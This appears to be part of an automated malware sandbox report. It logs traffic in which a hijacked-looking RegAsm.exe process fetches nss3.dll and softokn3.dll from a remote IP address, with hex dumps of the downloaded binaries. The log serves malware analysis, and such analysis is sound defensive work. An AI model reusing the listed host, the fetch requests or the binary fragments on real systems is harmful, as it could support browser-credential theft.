2024-05-15 18:36:13 UTC	16138	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_
2024-05-15 18:36:13 UTC	16384	IN	Data Raw: 68 00 72 00 00 00 68 00 75 00 2d 00 68 00 75 00 00 00 68 00 79 00 2d 00 61 00 6d 00 00 00 69 00 64 00 2d 00 69 00 64 00 00 00 69 00 73 00 2d 00 69 00 73 00 00 00 69 00 74 00 2d 00 63 00 68 00 00 00 69 00 74 00 2d 00 69 00 74 00 00 00 6a 00 61 00 2d 00 6a 00 70 00 00 00 6b 00 61 00 2d 00 67 00 65 00 00 00 6b 00 6b 00 2d 00 6b 00 7a 00 00 00 6b 00 6e 00 2d 00 69 00 6e 00 00 00 6b 00 6f 00 2d 00 6b 00 72 00 00 00 6b 00 6f 00 6b 00 2d 00 69 00 6e 00 00 00 00 00 6b 00 79 00 2d 00 6b 00 67 00 00 00 6c 00 74 00 2d 00 6c 00 74 00 00 00 6c 00 76 00 2d 00 6c 00 76 00 00 00 6d 00 69 00 2d 00 6e 00 7a 00 00 00 6d 00 6b 00 2d 00 6d 00 6b 00 00 00 6d 00 6c 00 2d 00 69 00 6e 00 00 00 6d 00 6e 00 2d 00 6d 00 6e 00 00 00 6d 00 72 00 2d 00 69 00 6e 00 00 00 6d 00 73 00 2d Data Ascii: hrhu-huhy-amid-idis-isit-chit-itja-jpka-gekk-kzkn-inko-krkok-inky-kglt-ltlv-lvmi-nzmk-mkml-inmn-mnmr-inms-
2024-05-15 18:36:13 UTC	16384	IN	Data Raw: 00 10 e8 7b 00 10 04 7c 00 10 00 00 00 00 d8 4c 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 f4 8a 00 10 00 00 00 00 01 00 00 00 04 00 00 00 44 8b 00 10 58 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 14 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 34 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 84 8b 00 10 98 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 34 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 74 8b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 58 4d 06 10 c8 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 d8 8b 00 10 ec 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 58 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 c8 8b 00 10 00 Data Ascii: {\|L@DX}0}}M@4}0}}4M@tXM}0}}XM@
2024-05-15 18:36:13 UTC	16384	IN	Data Raw: c0 89 45 f4 de ea d9 c9 d9 5d e8 d9 45 e8 d9 55 10 d9 ee da e9 df e0 f6 c4 44 7b 05 dd d8 d9 45 10 8d 45 ec 50 8d 45 f8 50 d9 5d ec e8 fc fa ff ff 59 59 3b f3 0f 8c aa fd ff ff eb 10 8d 4e 01 d9 1c b7 3b cb 7d 06 d9 ee d9 5c b7 04 5e 8b c7 5f 5b c9 c3 55 8b ec 51 56 33 f6 39 75 14 7e 37 d9 ee 57 8b 7d 10 d9 04 b7 d9 5d fc d9 45 fc dd e1 df e0 dd d9 f6 c4 44 7b 1a 51 d9 1c 24 ff 75 0c ff 75 08 e8 97 fc ff ff d9 ee 83 c4 0c 46 3b 75 14 7c d2 dd d8 5f 8b 45 08 5e c9 c3 55 8b ec 51 51 8b 4d 0c 85 c9 75 04 d9 ee c9 c3 8b 55 08 83 f9 01 0f 84 9d 00 00 00 d9 02 d9 5d fc d9 45 fc d9 ee dd e1 df e0 f6 c4 44 0f 8b 82 00 00 00 d9 42 04 d9 5d fc d9 45 fc dd e1 df e0 f6 c4 44 7b 6e 83 f9 02 74 5d d9 42 08 d9 5d fc d9 45 fc dd e2 df e0 dd da f6 c4 44 7b 49 d9 c2 d8 c1 Data Ascii: E]EUD{EEPEP]YY;N;}\^_[UQV39u~7W}]ED{Q$uuF;u\|_E^UQQMuU]EDB]ED{nt]B]ED{I
2024-05-15 18:36:13 UTC	16384	IN	Data Raw: f7 0f b7 06 66 3b c1 74 0e 66 3b c2 74 09 8b 45 08 33 db 8b 30 eb 43 03 f7 6a 04 5b 89 75 f8 66 83 3e 28 89 5d f4 75 32 8b de 03 df 68 07 01 00 00 0f b7 03 50 ff 15 ac 72 06 10 59 59 85 c0 75 e9 0f b7 03 83 f8 5f 74 e1 89 5d f8 8b 5d f4 83 f8 29 75 06 8b 75 f8 83 c6 02 8b 45 0c 85 c0 74 02 89 30 8b 45 08 5f 89 30 8b c3 5e 5b c9 c3 55 8b ec 83 ec 48 a1 c0 41 06 10 33 c5 89 45 fc 6b 4d 18 07 33 d2 8b 45 10 53 8b 5d 14 56 8b 75 0c 89 75 d0 89 45 b8 89 55 bc 89 55 c4 89 55 c0 89 4d cc 57 8b fa 83 f9 23 7e 06 6a 23 59 89 4d cc 6a 30 58 89 13 89 53 04 66 39 06 75 12 c7 45 c4 01 00 00 00 83 c6 02 66 39 06 74 f8 89 75 d0 0f b7 0e b8 b8 2d 00 10 89 4d c8 8b 4d cc c7 45 d4 16 00 00 00 8b 75 c8 66 39 30 8b 75 d0 74 0b 83 c0 02 83 6d d4 01 75 ec 8b c2 85 c0 74 26 3b Data Ascii: f;tf;tE30Cj[uf>(]u2hPrYYu_t]])uuEt0E_0^[UHA3EkM3ES]VuuEUUUMW#~j#YMj0XSf9uEf9tu-MMEuf90utmut&;
2024-05-15 18:36:13 UTC	16384	IN	Data Raw: cc cc cc cc cc cc 55 8b ec 6a ff 68 09 e7 03 10 64 a1 00 00 00 00 50 a1 c0 41 06 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 e8 79 7b 00 00 50 e8 71 d8 ff ff 59 8b 40 0c 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c3 cc cc 55 8b ec 83 79 38 00 8b 45 08 75 03 83 c8 04 ff 75 0c 50 e8 28 00 00 00 5d c2 08 00 cc cc cc cc 55 8b ec 6a 00 ff 75 08 e8 13 00 00 00 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 83 ec 1c 83 e0 17 89 41 0c 8b 49 10 56 23 c8 74 43 80 7d 0c 00 75 42 f6 c1 04 74 07 be 78 54 00 10 eb 0f be 90 54 00 10 f6 c1 02 75 05 be a8 54 00 10 8d 45 f8 6a 01 50 e8 f7 13 00 00 59 59 50 56 8d 4d e4 e8 bc e2 ff ff 68 a4 1a 04 10 8d 45 e4 50 eb 09 5e c9 c2 08 00 6a 00 6a 00 e8 f0 93 02 00 cc 53 57 8b f9 83 7f 4c 00 75 04 33 db eb 24 56 e8 Data Ascii: UjhdPA3PEdy{PqY@MdYUy8EuuP(]Uju]UEAIV#tC}uBtxTTuTEjPYYPVMhEP^jjSWLu3$V
2024-05-15 18:36:13 UTC	16384	IN	Data Raw: 83 c4 10 c6 04 1e 00 83 f8 10 72 0b 40 50 ff 37 e8 54 95 ff ff 59 59 89 37 8b c7 5f 5e 5b c9 c2 0c 00 e8 b3 be ff ff cc 55 8b ec 83 ec 0c 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d fc 3b c2 72 69 8b 43 14 8d 3c 11 57 8b cb 89 45 f4 e8 88 b1 ff ff 8b f0 8d 4e 01 51 e8 b2 94 ff ff 59 ff 75 18 89 7b 10 8d 4d 0c ff 75 14 8b 7d f4 89 45 f8 89 73 14 ff 75 10 ff 75 fc 83 ff 10 72 17 8b 33 56 50 e8 6b 03 00 00 8d 47 01 50 56 e8 d2 94 ff ff 59 59 eb 07 53 50 e8 56 03 00 00 8b 45 f8 5f 89 03 8b c3 5e 5b c9 c2 14 00 e8 25 be ff ff cc 55 8b ec 83 ec 10 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d f0 3b c2 0f 82 8f 00 00 00 8b 43 14 8d 3c 11 57 8b cb 89 45 fc e8 f6 b0 ff ff 8b f0 8d 4e 01 51 e8 20 94 ff ff 83 7d fc 10 59 0f be 4d 14 89 Data Ascii: r@P7TYY7_^[UUSVWK+M;riC<WENQYu{Mu}Esuur3VPkGPVYYSPVE_^[%UUSVWK+M;C<WENQ }YM
2024-05-15 18:36:13 UTC	16384	IN	Data Raw: 4d d4 53 33 c0 03 04 cb 52 13 7c cb 04 56 57 50 e8 f1 02 02 00 5b 8b 5d 08 8b f9 8b 4d d4 8b 75 d8 89 54 cb 04 8b 55 e8 89 04 cb 83 e9 01 89 4d d4 79 cf 5f 5e 5b c9 c3 55 8b ec 51 56 8b 75 14 33 d2 85 f6 7e 5f 53 8b 5d 08 29 5d 10 57 8b fb 89 75 fc 8b 5d 10 8b 0c 3b 03 0f 8b 44 3b 04 13 47 04 03 ca 89 0f 8d 7f 08 83 d0 00 8b d0 89 57 fc 83 67 fc 00 83 ee 01 75 dc 0b c6 8b 5d 08 74 22 8b 4d fc 3b 4d 0c 7d 1a 01 14 cb 8b 54 cb 04 13 d6 33 f6 89 54 cb 04 8b c2 21 74 cb 04 41 0b c6 75 e1 5f 5b 5e c9 c3 55 8b ec 8b 55 08 56 8b 75 0c 83 c2 f8 8d 14 f2 8b 02 0b 42 04 75 0b 8d 52 f8 4e 8b 0a 0b 4a 04 74 f5 8b c6 5e 5d c3 55 8b ec 53 56 33 db 33 f6 39 5d 0c 7e 30 57 8b 7d 08 ff 75 14 ff 75 10 ff 74 f7 04 ff 34 f7 e8 73 03 02 00 03 c3 89 04 f7 83 d2 00 8b da 89 5c Data Ascii: MS3R\|VWP[]MuTUMy_^[UQVu3~_S])]Wu];D;GWgu]t"M;M}T3T!tAu_[^UUVuBuRNJt^]USV339]~0W}uut4s\
2024-05-15 18:36:13 UTC	16384	IN	Data Raw: 89 75 fc 89 46 04 c7 06 7c 69 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 e8 65 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 56 8b f1 ff 76 0c c7 06 4c 68 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 56 8b f1 ff 76 0c c7 06 8c 66 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc 56 8b f1 c7 06 50 69 00 10 e8 e2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 c7 06 90 67 00 10 e8 c2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 ff 76 08 c7 06 7c 69 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 Data Ascii: uF\|ifrjFqY^UQEVuFefrjFqY^VvLhqY(R^VvfqY(R^VPiq(R^Vgq(R^Vv\|iqY(R
2024-05-15 18:36:13 UTC	16384	IN	Data Raw: 80 7f 04 00 75 07 8b cf e8 85 26 00 00 0f b7 47 06 50 ff b5 74 ff ff ff e8 9a a8 ff ff 59 59 83 f8 0a 73 3c 8a 80 2c 6a 00 10 8b 4d 8c 88 85 64 ff ff ff ff b5 64 ff ff ff e8 5f 18 ff ff 8b 4d d8 8d 45 d8 83 fb 10 72 02 8b c1 80 3c 30 7f 74 4c 8d 45 d8 83 fb 10 72 02 8b c1 fe 04 30 eb 3a 8d 45 d8 83 fb 10 72 03 8b 45 d8 80 3c 30 00 74 45 80 7f 04 00 0f b7 47 06 75 0b 8b cf e8 10 26 00 00 0f b7 47 06 66 3b 85 60 ff ff ff 75 27 6a 00 8d 4d d8 e8 04 18 ff ff 46 8b 5d ec 8b cf e8 24 11 00 00 ff 75 98 8b cf e8 de 72 00 00 84 c0 0f 84 4a ff ff ff 8b 5d 90 85 f6 74 13 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 80 3c 30 00 7e 52 46 8a 45 a7 83 7d d4 10 8d 55 c0 72 03 8b 55 c0 84 c0 75 49 85 f6 74 5e 8a 0a 80 f9 7f 74 57 83 ee 01 74 11 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 Data Ascii: u&GPtYYs<,jMdd_MEr<0tLEr0:ErE<0tEGu&Gf;`u'jMF]$urJ]t}ErE<0~RFE}UrUuIt^tWt}ErE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49751	95.217.240.101	443	5984	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-15 18:36:14 UTC	217	OUT	GET /nss3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1 Host: 95.217.240.101 Cache-Control: no-cache
2024-05-15 18:36:15 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 May 2024 18:36:15 GMT Content-Type: application/octet-stream Content-Length: 2046288 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-1f3950" Accept-Ranges: bytes
2024-05-15 18:36:15 UTC	16136	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@
2024-05-15 18:36:15 UTC	16384	IN	Data Raw: 89 c2 69 f3 90 01 00 00 29 f0 83 e2 03 66 85 d2 0f 94 c2 66 85 ff 0f 95 c6 20 d6 66 85 c0 0f 94 c0 08 f0 0f b6 c0 8d 04 40 8b 55 f0 0f be 84 82 20 7c 1a 10 89 41 10 8a 41 1a fe c8 0f b6 c0 ba 06 00 00 00 0f 49 d0 88 51 1a e9 f7 fe ff ff 83 c2 e8 89 51 0c 8b 41 10 89 45 f0 8b 71 14 40 89 41 10 66 ff 41 1c 0f b7 41 18 a8 03 0f 94 c3 69 f8 29 5c 00 00 8d 97 1c 05 00 00 66 c1 ca 02 0f b7 d2 81 fa 8f 02 00 00 0f 93 c2 20 da 81 c7 10 05 00 00 66 c1 cf 04 0f b7 ff 81 ff a3 00 00 00 0f 92 c6 08 d6 0f b6 d6 8d 14 52 0f be 94 96 20 7c 1a 10 39 55 f0 7c 26 89 f7 c7 41 10 01 00 00 00 8d 56 01 89 51 14 83 fe 0b 7c 12 c7 41 14 00 00 00 00 40 66 89 41 18 66 c7 41 1c 00 00 8a 41 1a fe c0 31 d2 3c 07 0f b6 c0 0f 4d c2 88 41 1a e9 51 fe ff ff c7 41 14 0b 00 00 00 8b 51 18 Data Ascii: i)ff f@U \|AAIQQAEq@AfAAi)\f fR \|9U\|&AVQ\|A@fAfAA1<MAQAQ
2024-05-15 18:36:15 UTC	16384	IN	Data Raw: 7f 06 00 74 69 31 db 8b 44 9f 14 be 48 01 1d 10 85 c0 74 02 8b 30 68 d3 fe 1b 10 56 e8 f7 5b 19 00 83 c4 08 85 c0 b8 79 64 1c 10 0f 45 c6 8b 4f 10 0f b6 0c 19 f6 c1 02 ba 98 dc 1c 10 be 48 01 1d 10 0f 44 d6 f6 c1 01 b9 b1 de 1c 10 0f 44 ce 50 52 51 68 7f a0 1b 10 8d 44 24 60 50 e8 d6 b7 06 00 83 c4 14 43 0f b7 47 06 39 c3 72 99 8b 44 24 60 8d 48 01 3b 4c 24 58 0f 83 b7 03 00 00 89 4c 24 60 8b 4c 24 54 c6 04 01 29 eb 25 8b 44 24 04 8b 4c 24 08 8b 44 81 10 0f be 08 8d 54 24 50 51 ff 70 20 68 2c e2 1c 10 52 e8 89 b7 06 00 83 c4 10 f6 44 24 64 07 0f 85 4b 03 00 00 8b 44 24 54 85 c0 74 21 8b 4c 24 60 c6 04 08 00 83 7c 24 5c 00 74 12 f6 44 24 65 04 75 0b 8d 4c 24 50 e8 d4 68 06 00 eb 04 8b 44 24 54 89 44 24 18 8b 45 08 8b 80 a0 00 00 00 83 e0 0c 83 f8 08 0f 85 Data Ascii: ti1DHt0hV[ydEOHDDPRQhD$`PCG9rD$`H;L$XL$`L$T)%D$L$DT$PQp h,RD$dKD$Tt!L$`\|$\tD$euL$PhD$TD$E
2024-05-15 18:36:15 UTC	16384	IN	Data Raw: 11 1e 10 77 26 8b 35 38 11 1e 10 85 f6 74 15 8b 0d 78 e0 1d 10 81 f9 80 c2 12 10 75 7b 56 ff 15 68 cc 1d 10 89 f8 5e 5f 5b 5d c3 a3 30 11 1e 10 eb d3 a3 0c 11 1e 10 eb b9 89 3d 20 11 1e 10 e9 54 ff ff ff 31 ff eb dc 8b 0d 40 e0 1d 10 ff 15 00 40 1e 10 57 ff d1 83 c4 04 eb ca ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 0b ff ff ff 89 f7 c1 ff 1f 29 f1 19 f8 31 d2 39 0d e4 10 1e 10 19 c2 7d 27 c7 05 50 11 1e 10 00 00 00 00 e9 20 ff ff ff 31 ff e9 6d ff ff ff ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 7b ff ff ff c7 05 50 11 1e 10 01 00 00 00 8b 1d 38 11 1e 10 85 db 74 2e 8b 0d 78 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 8b 1d 38 11 1e 10 85 db 74 12 8b 0d 70 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 a1 4c 11 1e 10 8b 0d 48 11 1e 10 89 ca 09 c2 0f 84 b1 fe ff Data Ascii: w&58txu{Vh^_[]0= T1@@W@V)19}'P 1m@V{P8t.x@S8tp@SLH
2024-05-15 18:36:15 UTC	16384	IN	Data Raw: 24 08 8b 70 44 8b 06 85 c0 0f 84 81 fd ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 67 fd ff ff 8b 44 24 08 8b 70 40 8b 06 85 c0 74 2d 8b 4c 24 08 80 79 0d 00 75 11 8b 48 20 ff 15 00 40 1e 10 6a 01 56 ff d1 83 c4 08 8b 44 24 08 80 78 12 05 74 08 8b 44 24 08 c6 40 12 01 8b 4c 24 08 8a 41 0c 88 41 13 e9 13 fe ff ff 8b 44 24 08 8b 30 8b 4e 1c 85 c9 0f 84 88 fa ff ff 8b 44 24 08 8b b8 ec 00 00 00 ff 15 00 40 1e 10 6a 00 57 56 ff d1 83 c4 0c 89 44 24 0c e9 72 f6 ff ff 8b 4c 24 08 89 81 a0 00 00 00 e9 f7 f9 ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 26 fa ff ff 31 f6 46 e9 d2 fc ff ff 31 db f6 44 24 1c 01 0f 84 40 fe ff ff 68 40 7e 1c 10 68 83 e4 00 00 68 14 dd 1b 10 68 78 fc 1b 10 6a 0e e8 0a 8f 02 00 83 Data Ascii: $pDH@VgD$p@t-L$yuH @jVD$xtD$@L$AAD$0ND$@jWVD$rL$H@V&1F1D$@h@~hhhxj
2024-05-15 18:36:16 UTC	16384	IN	Data Raw: 6f 8b 7d 0c 89 54 24 04 8b 0d 30 e4 1d 10 8b 45 08 8b 40 08 89 04 24 ff 15 00 40 1e 10 8d 44 24 10 50 8d 44 24 10 50 56 57 ff 74 24 10 ff d1 85 c0 0f 84 92 00 00 00 8b 44 24 0c 85 c0 8b 54 24 04 74 42 29 c6 72 3e 01 c2 83 d3 00 89 54 24 18 89 d9 81 e1 ff ff ff 7f 89 4c 24 1c 01 c7 85 f6 7f a2 8b 44 24 24 85 c0 0f 85 92 00 00 00 31 ff 8b 4c 24 28 31 e9 e8 9d 64 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 8b 0d 8c e2 1d 10 ff 15 00 40 1e 10 ff d1 89 c2 8b 45 08 89 50 14 83 fa 70 74 05 83 fa 27 75 3f bf 0d 00 00 00 b9 0d 00 00 00 68 ee b2 00 00 8b 45 08 ff 70 1c 68 65 8a 1c 10 e8 c4 1e 14 00 83 c4 0c eb a7 8d 4c 24 24 8d 54 24 08 e8 12 20 14 00 85 c0 0f 85 2a ff ff ff 8b 54 24 08 eb b1 bf 0a 03 00 00 b9 0a 03 00 00 68 f3 b2 00 00 8b 45 08 ff 70 1c 68 20 85 1c 10 eb Data Ascii: o}T$0E@$@D$PD$PVWt$D$T$tB)r>T$L$D$$1L$(1de^_[]@EPpt'u?hEpheL$$T$ *T$hEph
2024-05-15 18:36:16 UTC	16384	IN	Data Raw: 68 7c ec 8b 44 24 0c 89 46 68 83 7c 24 04 01 75 72 8b 56 64 8d 1c 40 c1 e3 04 83 7c 1a 1c 00 74 4b 8b 4e 48 8b 01 85 c0 74 42 3d 58 00 1a 10 75 34 8b 86 a8 00 00 00 8b be ac 00 00 00 83 c0 04 83 d7 00 89 74 24 04 89 d6 8b 54 1a 18 0f af fa f7 e2 01 fa 52 50 51 e8 8c 45 12 00 89 f2 8b 74 24 10 83 c4 0c 8b 44 1a 18 89 46 38 31 ff 8b 4c 24 30 31 e9 e8 9f 24 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 89 74 24 04 8b 86 e8 00 00 00 89 44 24 08 85 c0 0f 84 88 01 00 00 83 7c 24 0c 00 0f 84 ac 00 00 00 8b 44 24 04 8b 70 64 85 f6 0f 84 9d 00 00 00 8b 44 24 0c 48 8d 3c 40 c1 e7 04 8b 44 3e 14 89 44 24 0c b9 00 02 00 00 31 d2 e8 56 3e ff ff 89 44 24 18 85 c0 0f 84 ce 02 00 00 8d 04 3e 89 44 24 14 8d 04 3e 83 c0 14 89 44 24 08 8b 5c 24 18 89 d8 83 c0 04 68 fc 01 00 00 6a 00 Data Ascii: h\|D$Fh\|$urVd@\|tKNHtB=Xu4t$TRPQEt$DF81L$01$e^_[]t$D$\|$D$pdD$H<@D>D$1V>D$>D$>D$\$hj
2024-05-15 18:36:16 UTC	16384	IN	Data Raw: 00 00 00 8b 99 48 01 00 00 85 db 75 6b 8b 99 44 01 00 00 85 db 75 7b ff 81 40 01 00 00 8a 5d f3 88 d8 50 e8 d0 ca 11 00 83 c4 04 89 c3 85 c0 0f 84 a7 00 00 00 57 ff 75 e4 53 e8 0f 1c 18 00 83 c4 0c c6 04 3b 00 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c 89 18 0f b6 0b 80 b9 7a f8 19 10 00 78 4a 8b 4d e8 80 b9 d0 00 00 00 02 0f 83 83 00 00 00 83 c4 10 5e 5f 5b 5d c3 8b 03 89 81 48 01 00 00 e9 50 ff ff ff 8b 03 89 81 4c 01 00 00 e9 43 ff ff ff 8b 03 89 81 44 01 00 00 e9 36 ff ff ff ff 81 3c 01 00 00 e9 73 ff ff ff 80 f9 5b 0f b6 c9 ba 5d 00 00 00 0f 45 d1 89 55 ec 31 f6 46 89 df 8a 0c 33 3a 4d ec 74 06 88 0f 46 47 eb f2 8b 4d ec 38 4c 33 01 74 2d c6 07 00 eb 84 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c c7 00 00 00 00 00 e9 6d ff ff ff 8b 10 8b 4d e8 83 c4 10 5e 5f 5b 5d Data Ascii: HukDu{@]PWuS;MzxJM^_[]HPLCD6<s[]EU1F3:MtFGM8L3t-MmM^_[]
2024-05-15 18:36:16 UTC	16384	IN	Data Raw: f6 ff ff 8b 57 10 85 d2 74 09 8b 4c 24 20 e8 75 c2 ff ff 8b 7c 24 0c c7 47 10 00 00 00 00 e9 98 f6 ff ff 8b 06 89 81 44 01 00 00 e9 e3 f9 ff ff ff 81 3c 01 00 00 e9 80 fc ff ff 8b 44 24 14 80 b8 d0 00 00 00 00 0f 85 f3 fb ff ff 8b 44 24 20 8b 40 10 8b 4c 38 0c 83 79 48 00 0f 85 de fb ff ff ff 34 38 68 b4 e0 1c 10 ff 74 24 1c e8 06 09 00 00 83 c4 0c e9 c5 fb ff ff 8b 4c 24 1c e9 ae fd ff ff 8a 80 08 f7 19 10 3a 83 08 f7 19 10 0f 84 02 fa ff ff e9 c9 f9 ff ff 8b 44 24 20 80 b8 b1 00 00 00 00 0f 84 47 04 00 00 68 48 01 1d 10 ff 74 24 18 e8 5f 2a 01 00 83 c4 08 e9 33 f7 ff ff 8b 44 24 0c 80 48 1e 01 66 83 78 22 00 0f 8e a5 f5 ff ff 31 c9 b8 0e 00 00 00 8b 54 24 0c 8b 52 04 8b 74 02 f6 89 f7 c1 ef 04 83 e7 0f 83 ff 01 74 09 85 ff 75 0a e9 69 03 00 00 c6 44 02 Data Ascii: WtL$ u\|$GD<D$D$ @L8yH48ht$L$:D$ GhHt$_*3D$Hfx"1T$RttuiD
2024-05-15 18:36:16 UTC	16384	IN	Data Raw: c7 44 24 24 00 00 00 00 e9 0b f1 ff ff 8b 44 24 0c 8b 40 10 8b 40 1c 8b 4c 24 08 3b 41 3c 0f 84 95 ea ff ff 8b 7c 24 08 ff 37 68 27 f8 1c 10 ff 74 24 0c e8 e0 ea 00 00 83 c4 0c c7 44 24 24 00 00 00 00 e9 a2 f0 ff ff 68 48 e4 1b 10 8b 7c 24 08 57 e8 c1 ea 00 00 83 c4 08 be 0b 00 00 00 68 40 7e 1c 10 68 14 ce 01 00 68 40 bb 1b 10 68 78 fc 1b 10 56 e8 8f 4f 01 00 83 c4 14 89 77 0c c7 44 24 1c 00 00 00 00 e9 83 f8 ff ff 66 ba 1e 00 31 c0 85 c9 0f 85 54 f1 ff ff 31 d2 e9 5b f1 ff ff 31 ff 66 ba 28 00 be ff 0f 00 00 89 cb 31 c0 83 c2 28 89 f9 0f a4 d9 1c c1 e8 04 39 de bb 00 00 00 00 19 fb 89 cb 89 c7 0f 83 f2 f0 ff ff eb df a9 fd ff ff ff 74 65 31 f6 46 b8 ec bb 1b 10 e9 c1 fd ff ff 31 c0 e9 85 f2 ff ff c7 44 24 18 00 00 00 00 e9 36 f8 ff ff 8b 40 14 e9 d1 e9 Data Ascii: D$$D$@@L$;A<\|$7h't$D$$hH\|$Wh@~hh@hxVOwD$f1T1[1f(1(9te1F1D$6@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49752	95.217.240.101	443	5984	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-15 18:36:17 UTC	221	OUT	GET /softokn3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1 Host: 95.217.240.101 Cache-Control: no-cache
2024-05-15 18:36:18 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 May 2024 18:36:17 GMT Content-Type: application/octet-stream Content-Length: 257872 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-3ef50" Accept-Ranges: bytes
